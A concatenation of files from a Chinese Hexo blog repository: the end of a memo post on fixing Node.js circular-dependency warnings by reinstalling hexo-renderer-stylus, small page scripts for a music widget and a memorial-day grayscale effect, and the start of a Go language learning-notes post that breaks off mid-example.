|<br>------------------------------------------------<br><br>INFO Hexo is running at http://localhost:4000 . Press Ctrl+C to stop.<br>(node:87224) Warning: Accessing non-existent property 'lineno' of module exports inside circular dependency<br>(Use `node --trace-warnings ...` to show where the warning was created)<br>(node:87224) Warning: Accessing non-existent property 'column' of module exports inside circular dependency<br>(node:87224) Warning: Accessing non-existent property 'filename' of module exports inside circular dependency<br>(node:87224) Warning: Accessing non-existent property 'lineno' of module exports inside circular dependency<br>(node:87224) Warning: Accessing non-existent property 'column' of module exports inside circular dependency<br>(node:87224) Warning: Accessing non-existent property 'filename' of module exports inside circular dependency<br></code></pre></td></tr></table></figure>
<p>google后,发现一位博主<a target="_blank" rel="noopener" href="https://www.haoyizebo.com/posts/710984d0/">修改[email protected]依赖</a>,尝试后不成功。</p>
<p>于是,采用主流办法<a target="_blank" rel="noopener" href="https://github.com/hexojs/hexo/issues/4257">node.js降级</a></p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs shell"> node -v<br>v12.22.7<br></code></pre></td></tr></table></figure>
<p>后来发现<strong>具体原因</strong>是由于 <a target="_blank" rel="noopener" href="https://github.com/stylus/stylus">stylus</a> 导致的,stylus 在 0.54.8 版本修复了这个问题(见 pr <a target="_blank" rel="noopener" href="https://github.com/stylus/stylus/pull/2538">#2538</a> ),所以重新装一下 <code>hexo-renderer-stylus</code> 就可以了<sup id="fnref:3"><a href="#fn:3" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="[解决 Hexo 在使用 Node.js 14 时的 Accessing non-existent property 'xxx' of module exports inside circular dependency 问题](https://www.haoyizebo.com/posts/710984d0/)
">[3]</span></a></sup>.</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">npm install hexo-renderer-stylus --save<br></code></pre></td></tr></table></figure>
<div id="footnotes">
<hr>
<div id="footnotelist">
<ol style="list-style: none; padding-left: 0; margin-left: 40px">
<li id="fn:1">
<span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;"><a target="_blank" rel="noopener" href="https://en.wikipedia.org/wiki/Markdown">测试</a><a href="#fnref:1" rev="footnote"> ↩︎</a></span>
</li>
<li id="fn:2">
<span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;"><a target="_blank" rel="noopener" href="https://wty-yy.github.io/posts/44830/">Hexo Fluid 代码折叠</a><a href="#fnref:2" rev="footnote"> ↩︎</a></span>
</li>
<li id="fn:3">
<span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">3.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;"><a target="_blank" rel="noopener" href="https://www.haoyizebo.com/posts/710984d0/">解决 Hexo 在使用 Node.js 14 时的 Accessing non-existent property 'xxx' of module exports inside circular dependency 问题</a><a href="#fnref:3" rev="footnote"> ↩︎</a></span>
</li>
</ol>
</div>
</div>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/kity.min.js"></script><script type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/kityminder.core.min.js"></script><script defer="true" type="text/javascript" src="https://cdn.jsdelivr.net/npm/[email protected]/dist/mindmap.min.js"></script><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/mindmap.min.css"><link rel="stylesheet" href="/css/spoiler.css" type="text/css"><script src="/js/spoiler.js" type="text/javascript" async></script>
</div>
<hr/>
<div>
<div class="post-metas my-3">
<div class="post-meta mr-3 d-flex align-items-center">
<i class="iconfont icon-category"></i>
<span class="category-chains">
<span class="category-chain">
<a href="/categories/%E5%A4%87%E5%BF%98%E5%BD%95/" class="category-chain-item">备忘录</a>
</span>
</span>
</div>
<div class="post-meta">
<i class="iconfont icon-tags"></i>
<a href="/tags/%E5%A4%87%E5%BF%98%E5%BD%95/">#备忘录</a>
</div>
</div>
<div class="license-box my-3">
<div class="license-title">
<div>【备忘录】工作与学习</div>
<div>https://weitrue.github.io/2021/10/28/memo/</div>
</div>
<div class="license-meta">
<div class="license-meta-item">
<div>作者</div>
<div><NAME></div>
</div>
<div class="license-meta-item license-meta-date">
<div>发布于</div>
<div>2021年10月28日</div>
</div>
<div class="license-meta-item">
<div>许可协议</div>
<div>
<a target="_blank" href="https://creativecommons.org/licenses/by/4.0/">
<span class="hint--top hint--rounded" aria-label="BY - 署名">
<i class="iconfont icon-by"></i>
</span>
</a>
</div>
</div>
</div>
<div class="license-icon iconfont"></div>
</div>
<div class="post-prevnext my-3">
<article class="post-prev col-6">
<a href="/2021/11/29/chain/" title="【区块链与元宇宙】学习笔记">
<i class="iconfont icon-arrowleft"></i>
<span class="hidden-mobile">【区块链与元宇宙】学习笔记</span>
<span class="visible-mobile">上一篇</span>
</a>
</article>
<article class="post-next col-6">
<a href="/2021/10/27/prometheus-blackbox/" title="【Prometheus】Blackbox黑盒测试">
<span class="hidden-mobile">【Prometheus】Blackbox黑盒测试</span>
<span class="visible-mobile">下一篇</span>
<i class="iconfont icon-arrowright"></i>
</a>
</article>
</div>
</div>
</article>
</div>
</div>
</div>
<div class="side-col d-none d-lg-block col-lg-2">
<aside class="sidebar" style="margin-left: -1rem">
<div id="toc">
<p class="toc-header">
<i class="iconfont icon-list"></i>
<span>目录</span>
</p>
<div class="toc-body" id="toc-body"></div>
</div>
</aside>
</div>
</div>
</div>
<script>
Fluid.utils.createScript('https://cdn.jsdelivr.net/npm/mermaid@8/dist/mermaid.min.js', function() {
mermaid.initialize({"theme":"default"});
Fluid.events.registerRefreshCallback(function() {
if ('mermaid' in window) {
mermaid.init();
}
});
});
</script>
<a id="scroll-top-button" aria-label="TOP" href="#" role="button">
<i class="iconfont icon-arrowup" aria-hidden="true"></i>
</a>
<div class="modal fade" id="modalSearch" tabindex="-1" role="dialog" aria-labelledby="ModalLabel"
aria-hidden="true">
<div class="modal-dialog modal-dialog-scrollable modal-lg" role="document">
<div class="modal-content">
<div class="modal-header text-center">
<h4 class="modal-title w-100 font-weight-bold">搜索</h4>
<button type="button" id="local-search-close" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body mx-3">
<div class="md-form mb-5">
<input type="text" id="local-search-input" class="form-control validate">
<label data-error="x" data-success="v" for="local-search-input">关键词</label>
</div>
<div class="list-group" id="local-search-result"></div>
</div>
</div>
</div>
</div>
</main>
<footer>
<div class="footer-inner">
<div class="footer-content">
<a href="#" target="_blank" rel="nofollow noopener"><span>Wei</span></a> <i class="iconfont icon-love"></i> <a href="#" target="_blank" rel="nofollow noopener"><span>Trable</span></a> <div style="font-size: 0.85rem"> <span id="timeDate">载入天数...</span> <span id="times">载入时分秒...</span> <script src="/cus_js/duration.js"></script> </div>
</div>
<div class="statistics">
<span id="busuanzi_container_site_pv" style="display: none">
总访问量
<span id="busuanzi_value_site_pv"></span>
次
</span>
<span id="busuanzi_container_site_uv" style="display: none">
总访客数
<span id="busuanzi_value_site_uv"></span>
人
</span>
</div>
<!-- 备案信息 ICP for China -->
<div class="beian">
<span>
<a href="http://beian.miit.gov.cn/" target="_blank" rel="nofollow noopener">
杭ICP证123456号
</a>
</span>
<span>
<a
href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=12345678"
rel="nofollow noopener"
class="beian-police"
target="_blank"
>
<span style="visibility: hidden; width: 0">|</span>
<img src="/images/img/police_beian.png" srcset="/img/loading.gif" lazyload alt="police-icon"/>
<span>杭公网安备12345678号</span>
</a>
</span>
</div>
</div>
</footer>
<!-- Scripts -->
<script src="https://cdn.jsdelivr.net/npm/nprogress@0/nprogress.min.js" ></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/nprogress@0/nprogress.min.css" />
<script>
NProgress.configure({"showSpinner":false,"trickleSpeed":100})
NProgress.start()
window.addEventListener('load', function() {
NProgress.done();
})
</script>
<script src="https://cdn.jsdelivr.net/npm/jquery@3/dist/jquery.min.js" ></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4/dist/js/bootstrap.min.js" ></script>
<script src="/js/events.js" ></script>
<script src="/js/plugins.js" ></script>
<script src="https://cdn.jsdelivr.net/npm/typed.js@2/lib/typed.min.js" ></script>
<script>
(function (window, document) {
var typing = Fluid.plugins.typing;
var subtitle = document.getElementById('subtitle');
if (!subtitle || !typing) {
return;
}
var text = subtitle.getAttribute('data-typed-text');
typing(text);
})(window, document);
</script>
<script src="/js/img-lazyload.js" ></script>
<script>
Fluid.utils.createScript('https://cdn.jsdelivr.net/npm/tocbot@4/dist/tocbot.min.js', function() {
var toc = jQuery('#toc');
if (toc.length === 0 || !window.tocbot) { return; }
var boardCtn = jQuery('#board-ctn');
var boardTop = boardCtn.offset().top;
window.tocbot.init(Object.assign({
tocSelector : '#toc-body',
contentSelector : '.markdown-body',
linkClass : 'tocbot-link',
activeLinkClass : 'tocbot-active-link',
listClass : 'tocbot-list',
isCollapsedClass: 'tocbot-is-collapsed',
collapsibleClass: 'tocbot-is-collapsible',
scrollSmooth : true,
includeTitleTags: true,
headingsOffset : -boardTop,
}, CONFIG.toc));
if (toc.find('.toc-list-item').length > 0) {
toc.css('visibility', 'visible');
}
Fluid.events.registerRefreshCallback(function() {
if ('tocbot' in window) {
tocbot.refresh();
var toc = jQuery('#toc');
if (toc.length === 0 || !tocbot) {
return;
}
if (toc.find('.toc-list-item').length > 0) {
toc.css('visibility', 'visible');
}
}
});
});
</script>
<script src=https://cdn.jsdelivr.net/npm/clipboard@2/dist/clipboard.min.js></script>
<script>Fluid.plugins.codeWidget();</script>
<script>
Fluid.utils.createScript('https://cdn.jsdelivr.net/npm/anchor-js@4/anchor.min.js', function() {
window.anchors.options = {
placement: CONFIG.anchorjs.placement,
visible : CONFIG.anchorjs.visible
};
if (CONFIG.anchorjs.icon) {
window.anchors.options.icon = CONFIG.anchorjs.icon;
}
var el = (CONFIG.anchorjs.element || 'h1,h2,h3,h4,h5,h6').split(',');
var res = [];
for (var item of el) {
res.push('.markdown-body > ' + item.trim());
}
if (CONFIG.anchorjs.placement === 'left') {
window.anchors.options.class = 'anchorjs-link-left';
}
window.anchors.add(res.join(', '));
Fluid.events.registerRefreshCallback(function() {
if ('anchors' in window) {
anchors.removeAll();
var el = (CONFIG.anchorjs.element || 'h1,h2,h3,h4,h5,h6').split(',');
var res = [];
for (var item of el) {
res.push('.markdown-body > ' + item.trim());
}
if (CONFIG.anchorjs.placement === 'left') {
anchors.options.class = 'anchorjs-link-left';
}
anchors.add(res.join(', '));
}
});
});
</script>
<script>
Fluid.utils.createScript('https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3/dist/jquery.fancybox.min.js', function() {
Fluid.plugins.fancyBox();
});
</script>
<script>Fluid.plugins.imageCaption();</script>
<script>
if (!window.MathJax) {
window.MathJax = {
tex : {
inlineMath: { '[+]': [['$', '$']] }
},
loader : {
load: ['ui/lazy']
},
options: {
renderActions: {
insertedScript: [200, () => {
document.querySelectorAll('mjx-container').forEach(node => {
let target = node.parentNode;
if (target.nodeName.toLowerCase() === 'li') {
target.parentNode.classList.add('has-jax');
}
});
}, '', false]
}
}
};
} else {
MathJax.startup.document.state(0);
MathJax.texReset();
MathJax.typeset();
MathJax.typesetPromise();
}
Fluid.events.registerRefreshCallback(function() {
if ('MathJax' in window && MathJax.startup.document && typeof MathJax.startup.document.state === 'function') {
MathJax.startup.document.state(0);
MathJax.texReset();
MathJax.typeset();
MathJax.typesetPromise();
}
});
</script>
<script src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js" ></script>
<script src="/js/local-search.js" ></script>
<script defer src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js" ></script>
<!-- 主题的启动项,将它保持在最底部 -->
<!-- the boot of the theme, keep it at the bottom -->
<script src="/js/boot.js" ></script>
<noscript>
<div class="noscript-warning">博客在允许 JavaScript 运行的环境下浏览效果更佳</div>
</noscript>
<script src="/live2dw/lib/L2Dwidget.min.js?094cbace49a39548bed64abff5988b05"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
<file_sep>/js/musicshow.js
!(function() {
function show() {
//直接把音乐框隐藏
$("#music_div").attr("style","display:none;");
//滚动条事件
$(window).scroll(function(){
//获取滚动条的滑动距离
var scroH = $(this).scrollTop();
//滚动条的滑动距离大于120,就显示,反之就隐藏
if(scroH >= 120){
$("#music_div").attr("style","display:block;position:fixed;bottom:0px;left:30px;");
}else if(scroH < 120){
$("#music_div").attr("style","display:none;");
}
})
}
show();
})();
<file_sep>/2021/02/07/golang/index.html
<script type="text/javascript">
(function () {
var dayStr = '12/13';
if (/^\d{1,2}\/\d{1,2}$/.test(dayStr)) {
dayStr = new Date().getFullYear() + '/' + dayStr;
}
if (!/^\d{4}\/\d{1,2}\/\d{1,2}$/.test(dayStr)) {
return ;
}
var day = new Date(dayStr);
var now = new Date();
var isMemorialDay = now.getFullYear() === day.getFullYear() && now.getMonth() === day.getMonth() && now.getDate() === day.getDate();
if (isMemorialDay) {
if (document.all) {
window.style = 'html { -webkit-filter: grayscale(100%); /* webkit */ -moz-filter: grayscale(100%); /* firefox */ -ms-filter: grayscale(100%); /* ie9 */ -o-filter: grayscale(100%); /* opera */ filter: grayscale(100%); filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); filter:gray; /* ie9- */ }';
document.createStyleSheet('javascript:style');
} else {
var style = document.createElement('style');
style.type = 'text/css';
style.innerHTML = 'html { -webkit-filter: grayscale(100%); /* webkit */ -moz-filter: grayscale(100%); /* firefox */ -ms-filter: grayscale(100%); /* ie9 */ -o-filter: grayscale(100%); /* opera */ filter: grayscale(100%); filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); filter:gray; /* ie9- */ }';
document.getElementsByTagName('HEAD').item(0).appendChild(style);
}
}
})();
</script>
<!DOCTYPE html>
<html lang="zh-CN" data-default-color-scheme=auto>
<head>
<meta charset="UTF-8">
<link rel="apple-touch-icon" sizes="76x76" href="/images/img/logo.png">
<link rel="icon" href="/images/img/logo.png">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, shrink-to-fit=no">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="theme-color" content="#2f4154">
<meta name="author" content="<NAME>">
<meta name="keywords" content="">
<meta name="description" content=""Go has indeed become the language of cloud infrastructure" - Rob Pike interview">
<meta property="og:type" content="article">
<meta property="og:title" content="【Go】学习笔记">
<meta property="og:url" content="https://weitrue.github.io/2021/02/07/golang/index.html">
<meta property="og:site_name" content="weitrable">
<meta property="og:description" content=""Go has indeed become the language of cloud infrastructure" - Rob Pike interview">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://weitrue.github.io/images/golang/index.jpg">
<meta property="article:published_time" content="2021-02-07T01:55:11.025Z">
<meta property="article:modified_time" content="2021-02-07T01:55:11.025Z">
<meta property="article:author" content="<NAME>">
<meta property="article:tag" content="Go">
<meta property="article:tag" content="ADT">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:image" content="https://weitrue.github.io/images/golang/index.jpg">
<meta name="referrer" content="no-referrer-when-downgrade">
<title>【Go】学习笔记 - weitrable</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4/dist/css/bootstrap.min.css" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/github-markdown-css@4/github-markdown.min.css" />
<link rel="stylesheet" href="/lib/hint/hint.min.css" />
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3/dist/jquery.fancybox.min.css" />
<!-- 主题依赖的图标库,不要自行修改 -->
<!-- Do not modify the link that theme dependent icons -->
<link rel="stylesheet" href="//at.alicdn.com/t/font_1749284_hj8rtnfg7um.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1736178_kmeydafke9r.css">
<link rel="stylesheet" href="/css/main.css" />
<link id="highlight-css" rel="stylesheet" href="/css/highlight.css" />
<link id="highlight-css-dark" rel="stylesheet" href="/css/highlight-dark.css" />
<script id="fluid-configs">
var Fluid = window.Fluid || {};
Fluid.ctx = Object.assign({}, Fluid.ctx)
var CONFIG = {"hostname":"weitrue.github.io","root":"/","version":"1.9.4","typing":{"enable":true,"typeSpeed":70,"cursorChar":"_","loop":false,"scope":[]},"anchorjs":{"enable":true,"element":"h1,h2,h3,h4,h5,h6","placement":"right","visible":"hover","icon":""},"progressbar":{"enable":true,"height_px":3,"color":"#29d","options":{"showSpinner":false,"trickleSpeed":100}},"code_language":{"enable":true,"default":"TEXT"},"copy_btn":true,"image_caption":{"enable":true},"image_zoom":{"enable":true,"img_url_replace":["",""]},"toc":{"enable":true,"placement":"right","headingSelector":"h1,h2,h3,h4,h5,h6","collapseDepth":1},"lazyload":{"enable":true,"loading_img":"/img/loading.gif","onlypost":false,"offset_factor":2},"web_analytics":{"enable":false,"follow_dnt":true,"baidu":null,"google":null,"gtag":null,"tencent":{"sid":null,"cid":null},"woyaola":null,"cnzz":null,"leancloud":{"app_id":null,"app_key":null,"server_url":null,"path":"window.location.pathname","ignore_local":false}},"search_path":"/local-search.xml"};
if (CONFIG.web_analytics.follow_dnt) {
var dntVal = navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack;
Fluid.ctx.dnt = dntVal && (dntVal.startsWith('1') || dntVal.startsWith('yes') || dntVal.startsWith('on'));
}
</script>
<script src="/js/utils.js" ></script>
<script src="/js/color-schema.js" ></script>
<meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="weitrable" type="application/atom+xml">
</head>
<body>
<header>
<div class="header-inner" style="height: 60vh;">
<nav id="navbar" class="navbar fixed-top navbar-expand-lg navbar-dark scrolling-navbar">
<div class="container">
<a class="navbar-brand" href="/">
<strong>WeiTrable</strong>
</a>
<button id="navbar-toggler-btn" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent"
aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<div class="animated-icon"><span></span><span></span><span></span></div>
</button>
<!-- Collapsible content -->
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav ml-auto text-center">
<li class="nav-item">
<a class="nav-link" href="/">
<i class="iconfont icon-home-fill"></i>
<span>首页</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/archives/">
<i class="iconfont icon-archive-fill"></i>
<span>归档</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/categories/">
<i class="iconfont icon-category-fill"></i>
<span>分类</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/book/">
<i class="iconfont icon-books"></i>
<span>混沌书栈</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/bookstack/">
<i class="iconfont icon-plan"></i>
<span>混沌日记</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/tags/">
<i class="iconfont icon-tags-fill"></i>
<span>标签</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/about/">
<i class="iconfont icon-user-fill"></i>
<span>关于</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/links/">
<i class="iconfont icon-link-fill"></i>
<span>友链</span>
</a>
</li>
<li class="nav-item" id="search-btn">
<a class="nav-link" target="_self" href="javascript:;" data-toggle="modal" data-target="#modalSearch" aria-label="Search">
<i class="iconfont icon-search"></i>
</a>
</li>
<li class="nav-item" id="color-toggle-btn">
<a class="nav-link" target="_self" href="javascript:;" aria-label="Color Toggle">
<i class="iconfont icon-dark" id="color-toggle-icon"></i>
</a>
</li>
</ul>
</div>
</div>
</nav>
<div id="banner" class="banner" parallax=true
style="background: url('/images/img/banner.png') no-repeat center center; background-size: cover;">
<div class="full-bg-img">
<div class="mask flex-center" style="background-color: rgba(0, 0, 0, 0.3)">
<div class="banner-text text-center fade-in-up">
<div class="h2">
<span id="subtitle" data-typed-text="【Go】学习笔记"></span>
</div>
<div class="mt-3">
<span class="post-meta mr-2">
<i class="iconfont icon-author" aria-hidden="true"></i>
<NAME>
</span>
<span class="post-meta">
<i class="iconfont icon-date-fill" aria-hidden="true"></i>
<time datetime="2021-02-07 09:55" pubdate>
2021年2月7日 上午
</time>
</span>
</div>
<div class="mt-1">
<span class="post-meta mr-2">
<i class="iconfont icon-chart"></i>
<!-- compatible with older versions-->
71k 字
</span>
<span class="post-meta mr-2">
<i class="iconfont icon-clock-fill"></i>
<!-- compatible with older versions-->
223 分钟
</span>
<span id="busuanzi_container_page_pv" style="display: none">
<i class="iconfont icon-eye" aria-hidden="true"></i>
<span id="busuanzi_value_page_pv"></span> 次
</span>
</div>
</div>
</div>
</div>
</div>
</div>
</header>
<main>
<div class="container-fluid nopadding-x">
<div class="row nomargin-x">
<div class="side-col d-none d-lg-block col-lg-2">
</div>
<div class="col-lg-8 nopadding-x-md">
<div class="container nopadding-x-md" id="board-ctn">
<div id="board">
<article class="post-content mx-auto">
<!-- SEO header -->
<h1 style="display: none">【Go】学习笔记</h1>
<div class="markdown-body">
<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><blockquote>
<p>"Go has indeed become the language of cloud infrastructure" - <NAME> interview<span id="more"></span></p>
</blockquote>
<h3 id="变量">变量</h3>
<h4 id="var与">var与:=</h4>
<ul>
<li>:=方式较为简洁,但只能在函数内使用该方式,var方式没有这个限制,var方式定义在汉书外的变量属于包内部的变量</li>
<li>函数中以:=方式定义变量为主</li>
</ul>
<h4 id="内建变量类型">内建变量类型</h4>
<ul>
<li>bool,string</li>
<li>(u)int, (u)int8, (u)int16, (u)int32, (u)int, uintptr</li>
<li>byte, rune</li>
<li>float32, float64, complex64, complex128</li>
<li>变量类型写在变量名之后</li>
<li>编译器可推测变量类型</li>
<li>没有char, 只有rune</li>
<li>原生支持复数类型</li>
</ul>
<figure class="highlight golang"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><code class="hljs golang"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> (<br> <span class="hljs-string">"fmt"</span><br> <span class="hljs-string">"math"</span><br> <span class="hljs-string">"math/cmplx"</span><br>)<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">euler</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-comment">// 欧拉公式 e^(i*Pi) + 1 = 0</span><br> fmt.Println(cmplx.Exp(<span class="hljs-number">1i</span> * math.Pi) + <span class="hljs-number">1</span>)<br> fmt.Println(cmplx.Pow(math.E, <span class="hljs-number">1i</span> * math.Pi) + <span class="hljs-number">1</span>)<br>}<br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> euler()<br>}<br><br><span class="hljs-comment">// 打印内容</span><br>(<span class="hljs-number">0</span>+<span class="hljs-number">1.2246467991473515e-16i</span>)<br>(<span class="hljs-number">0</span>+<span class="hljs-number">1.2246467991473515e-16i</span>)<br></code></pre></td></tr></table></figure>
<h4 id="强制类型转换">强制类型转换</h4>
<p>go语言需要开发时强制类型转换,不会自动隐式转换</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">triangle</span><span class="hljs-params">()</span></span> {<br> a, b := <span class="hljs-number">3</span>, <span class="hljs-number">4</span><br> <span class="hljs-keyword">var</span> c <span class="hljs-keyword">int</span> <br> c = math.Sqrt(a*a + b*b) <span class="hljs-comment">// 会在编译前idea便提示报错</span><br> c = <span class="hljs-keyword">int</span>(math.Sqrt(<span class="hljs-keyword">float64</span>(a * a + b * b))) <span class="hljs-comment">// 正确写法</span><br> fmt.Println(c)<br>}<br></code></pre></td></tr></table></figure>
<p>常量未声明类型,其类型是不确定的(数值可以作各种类型使用)</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">consts</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-comment">// 强制类型转换</span><br> <span class="hljs-keyword">const</span> a, b = <span class="hljs-number">3</span>, <span class="hljs-number">4</span><br> <span class="hljs-keyword">var</span> c <span class="hljs-keyword">int</span><br> c = <span class="hljs-keyword">int</span>(math.Sqrt(a * a + b * b)) <span class="hljs-comment">// a * a + b * b 部分可以不用加上强制类型转换</span><br> fmt.Println(c)<br>}<br></code></pre></td></tr></table></figure>
<p>可以利用常量申明枚举类型</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">enums</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">const</span> (<br> golang = <span class="hljs-literal">iota</span><br> _<br> java<br> python<br> )<br> fmt.Println(golang, java, python)<br>}<br><br><span class="hljs-comment">// 输出</span><br><span class="hljs-number">0</span> <span class="hljs-number">2</span> <span class="hljs-number">3</span><br></code></pre></td></tr></table></figure>
<p>可以以<code>iota</code>为基础,生成一系列枚举数</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">enums</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">const</span> (<br> b = <span class="hljs-number">1</span> << (<span class="hljs-number">10</span> * <span class="hljs-literal">iota</span>)<br> kb<br> mb<br> gb<br> tb<br> )<br> fmt.Println(b, kb, mb, gb, tb)<br>}<br><br><span class="hljs-comment">// 输出</span><br><span class="hljs-number">1</span> <span class="hljs-number">1024</span> <span class="hljs-number">1048576</span> <span class="hljs-number">1073741824</span> <span class="hljs-number">1099511627776</span><br></code></pre></td></tr></table></figure>
<p>https://github.com/weitrue/note/blob/master/go/variable.go</p>
<h3 id="指针">指针</h3>
<p>指针不能运算</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-keyword">package</span> main<br><br><span class="hljs-keyword">import</span> <span class="hljs-string">"fmt"</span><br><br><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span> {<br> <span class="hljs-keyword">var</span> a <span class="hljs-keyword">int</span> = <span class="hljs-number">2</span><br> <span class="hljs-keyword">var</span> pa *<span class="hljs-keyword">int</span> = &a<br> *pa = <span class="hljs-number">3</span><br> fmt.Println(a)<br>}<br><br><span class="hljs-comment">// 运行结果</span><br><span class="hljs-number">3</span><br></code></pre></td></tr></table></figure>
<p>参数传递—只有<em>值传递</em>一种方式</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><code class="hljs go"><span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">swapV</span><span class="hljs-params">(a, b <span class="hljs-keyword">int</span>)</span></span> {<br> b, a = a, b<br> fmt.Println(<span class="hljs-string">"in 